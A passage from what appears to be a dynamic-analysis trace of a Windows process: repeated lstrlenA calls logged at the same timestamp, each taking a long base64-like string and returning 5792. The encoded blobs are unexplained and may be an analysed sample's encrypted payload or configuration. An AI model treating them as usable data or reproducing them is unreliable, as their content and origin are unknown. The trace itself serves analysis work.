LHitgsPxG6/VZXxXnPjf4HPCwbFi7lJbJyLJ0TUyA5qrFq7inDPuW6u/E0nAjaIW0EQHQHOwLHfeOEzbBMrCmbsSr7qXUyWOen9l11DPiANUFT+us8hDCiObQzBxlH144cCJ0AgDg+JNpC39FPz3ulSWZL0lkSwuCXShs4IynIGLQ9uwjdai596keA1uoJd0/9rVj3UQ7RO9H95nEc1T/vKoBpv1Ma7M5LrpMsBpZsc5r9O6LpFPV7Qm4pj0NBQ6wny4iUkuPLibK9UAmmX4a5cwx4aljwqR4AFQ==") returned 5792 [0042.883] lstrlenA (lpString="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") returned 5792 [0042.883] lstrlenA (lpString="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") returned 5792 [0042.883] lstrlenA (lpString="mdU+mIEkDgfqAIOO+CErOIcj/44TH/51GoHl5EfkG3f+ew2nb1YTiXbpn1RL3mBkXlplnjtmtnqobVFqvqHE8MS/80vPEVDx5f+EwcsmDicF79nKdrK+MFDmWIPfGEjuZHoSpu2Kls6XQkEqarD7k92x3+pcixC0T1MbnGqMBlAMJ38CRIqE5nH71RK3VwmK5KIrAh0R2vZ8qYJPmg75RdH/eJcF6Z35DMvVuyDqpYXOlyryaYb5PDLn8UOULsboAmXl1s7sJFW+WkiGQPPbh9ZiAof7QR/x1ZwaENHdnb28y7AHCF+Int5y1ocyt27nQyOHLuWFIvDtwZDbS2GJvewJCqj+wAXxqZT2rTGokNXqiT3LJE1KYoiEMqVAZh876Pb17V7Zs8+21vFbGSNgGYINYaR3a8uMuMw/cEQoQkUq1xhXMdw0LbrMh2Ey58AYJjKEO13YBgHLcdpBSQDhp3Uzm6FplQcIuBF5B+aW/+E3/+/ZPjpVIgjg2pNvlFa2BKnWanJjqDuVQn8KV4pggJ526RyX2fBTUah1d17kQB1ILlXha2IY052vHhS4+Fu16rI4Q6xIh2rklxQrbLZ1IarjrAUF48abLVK3LUGtA5cM8J0QgJoVD4BXSiGcji3Nr9pvHaiUIv/xN1EmbWvd3bDcjzcF+UTBaQd40Dm/1EKhBRtcOvqVz2IGXlxPSL8VopZi+3YuV4zFhiTF7+JRlfjRfYt3PyhoMD6/4HPWkALX56Y8YFeqras6EdmeyPN1KrtYvSlfD2o/z5N6AszxUaoWuNKsq1jFHxmrh/lWJOhNGqeCmeV6GFDHanKMacrpq7D+br3K2v7I2HndjVTaepOXVPzQjNpleafUuvZ1KIZpJeTHVoAtZLpThtgdFLerpL5BCAc6JJ+5aK6CRQ1pDOia4gAJkJCqUiG0oS8u6Hl2KgrmCTT4igU96Kxhz27vTMyzRTTQ59RTnEJT1off2I0RpYu2VvLDFsk5XxC/4ZcUHvkVrc/fR1poftQK9N4U+Wng94T4ww/aHa2jmPS6iPl/XRdaLDUIOcD+GT7Ti4i865/R54tukuJeZJX5wTdPFQcOCs3iWH6Wf+/tG9VsJ6llp/0FegWB7+mY6CQ8osZ6vEmKxl+t1JJW8hBRQcWoQnRJUoxCfdLJCGAwZw1ILyazzKXM380XgHn0Mu0vZIJpaISqd9C4s+Gb6qXioKJmb7o4ZyZn7utlOaX4aPtIX5ehq6uPr26vDhJ8E8l1Xwk86ZYRIbpfMqxySTAxNTcSKr/WflTh7lF/1ijCgtZ2vhp4zFgrHFL+ipkJ/rNmoOoVXfMpr1SUtpGfJDGQ/RGf7pku0mJQV6+VC8CEKo9iO2EcJ0y6OdoTGUD2zvM3lNh77UWLeGARUrOV5/tSLh8FgcruOtz8tdlNzbcEPhF+5snJs+/ey9sOqIdiI20SpxE/WnmmZ6SCVgDkxAI7YKP+cNcjAFOaxFJO/uaFtMVH7letwAWEj2Z/BXtgVI165tON581w8EMGiyGm9LJ16TwjbjNNyMsizVjI78/CN5Y8NUHKnxk62gvrfoEkPdp/hgwLSYZVHW1WTGZJPsvaz09/mC1/Skje//7DG/lJuAXAXrSkYxdHpk/bgrsJLZ9XbBkY6djMCaFeRyuZKh9EW33mrV4I9z81PA1iNhZPiL3WKt5YMYzxMuXhn4Xyofk7C/38fGm9kj+D5nkTjvGf1yfYa76MJZR6fuVGY8IYgy3Dn8GeVQqG4HvJ/d/dgZK+aGNDP3q10pzpYTOkU59meCZZcnGB+PIMA4026RTp6t0YcsT0oLWvlT4a3DS6gR+q4FCHocueJMTsUJz/Q69mGRLzklNkWTWuDdsysrBS5PqpzpCtA6k9m7s3Mn1imiLVPPL6jXrYTaXyyrrgCvWCI5Ay+HZWOybes+9OtPgGxp2t214mRmBIxo1ZD+IOwHdSeE8M2PtQxm+YA35KNZc6IcB36XCrKRnFupDMlhkyxFzCiRQX4oBAKxHLQTMShJqYT02sxOVwFXLvT80AVtI8xyF0GwKqvG8odW5I+F+2Vm5ayOGeDfVRBXROrUla0xRwOlu9wCFKQeLay5RgqdO4ItAS85zc5xcgDxPRqDzS4lhUJH1SmtUoj5NnZ5ZLr06nwtJjsn5HtW4jTpHbMcAxlKtQ7uls+0kcCcNBttbXcbZP4DRK9iiaMxorjzFFOPM/fxoVUikD+LmmMCBOdQOeyu3aRyXnUiQoIS3tfN134/4W32alC9XzYkw7Npqy6iztlsm43kZcn3App/oVVMdZ8p2yiunPBs92CBZ5TBEBJQche6SktzaTUxmb0H3cxEtmgwjMivaqDfNXndDm+4y8S3idZUqXJNC6ANr4Pe5pImNCvUZS7pvx0ZQ4d+XTX3ES0NdL5biavhaxzlS7unKpTe6paNCZQrYPIrTUQWUqU0yQ+pRovASiRIKwtHhpZtjJMnoTQH7BxEEpa/ugEmH7IAnNBo4CVcNsu+GLdAwzqGIX9f0ztqCrohS/epqNqf2Ek/dc/HigF55t6EGZKiEqrSqIkLaxmH3c1ZbdOZWD/WbOz+YlfroDXNkKHyWXt8Qyn/GzblpRdEhAmpfIuegPD383OCZwVLr2Z2H4+VXt09OT+XDda7lxXKrZfUSpODcxVCL8f0ZPhr2qxpb8FfbN53bWmS8ZV3s3b8l/qHwh2kgk0X8MYUmN6Dx/CJMJ6EiNka7K/lg/RjUgs5IU4+RhSSksnNw6Naahl+XG4QI+OzeLOMePoKSu6jeapm9UVOGaUY+5W988JCEE83K5+Plj/Wcbucxck21LbUofIE0ZbOyoVGrYkkKYRwBpHuCSBpt96UpEybVAjOVe6qtoq0lHvKpNS14gpi1ZZn7c8Y73kV5QWrt7v1XQa1JzAC6tfnjCX8/y/CJK2lAA3dHRvzmus2VNyKLamtBSY6NY4QPwsmVgKRdlaEvwoggJj7i/2/DauQXwTEJnvc6Yj9HlTy24F0O7kjjnIraPlZwV6EX8NovA4o0fLAhbjKSmW++83N+5HizMDMS8sw36ddYzD4Fcy5hScS9qlQu01B9oXHwJaov5vsxA0oaQynEQYRtMA60Qn78YXaSdLR2j4yoHcrM4C1l9Oi4H8xkzaqMsM1LKXNEDoWqSgcdw7F3JFuqjBs9JSYixT0E1pXMCORfJyeQpAR+UGBAkd0YQh5LyFc9FIQwDgHH2RmiSupfZ0njoPzDOVzwEWrYyGrZ5VD3QlUqvPGcueIH6SbD7nBv6ZkzlAm4RdDaaC+FTQ+ADM/bI2Wh2TnhyQtt0IHu/GO0ppSAhkghYQSwVa4nmC0N4wDujoHhGKdWTnBi+NYoZha8aygv1CJlyB9/n8zstQSC5VAlOHB7yAwE+92bxGpiBWrnV7L6qgI0fC4AW3F6VU5LKawh62JMlPGkNgBAbFUJcGn1gQ97cuGCfpamnHIW65tzfHja3gbKyH07oZYaSNBDfQJWMyX7UEFQgg3B2n5jmqTkoF25KBxvTjf5sOsU0ZojgHCwPjulO+6uJ8fcJ29RQch/mV5d3HbEcmWSNebso3hPHwIz6t9HBgy+/NIbkfavf64pDyRVXlMGMvJPwVjj/WdSNTK0M10SB5k50lprI6uxQ0c5XY7aYVIdDrUm58HYc+4zNaJe6O8FrHkriNRA/LCNL0jvdbsHTa84XqvLLV/jEbAmNoci3EADcKOTgAxmVTwO7mpKA7uTsPuDaE35XKVmFmHfENmXVlhd+Ge3wg6Qm9VYU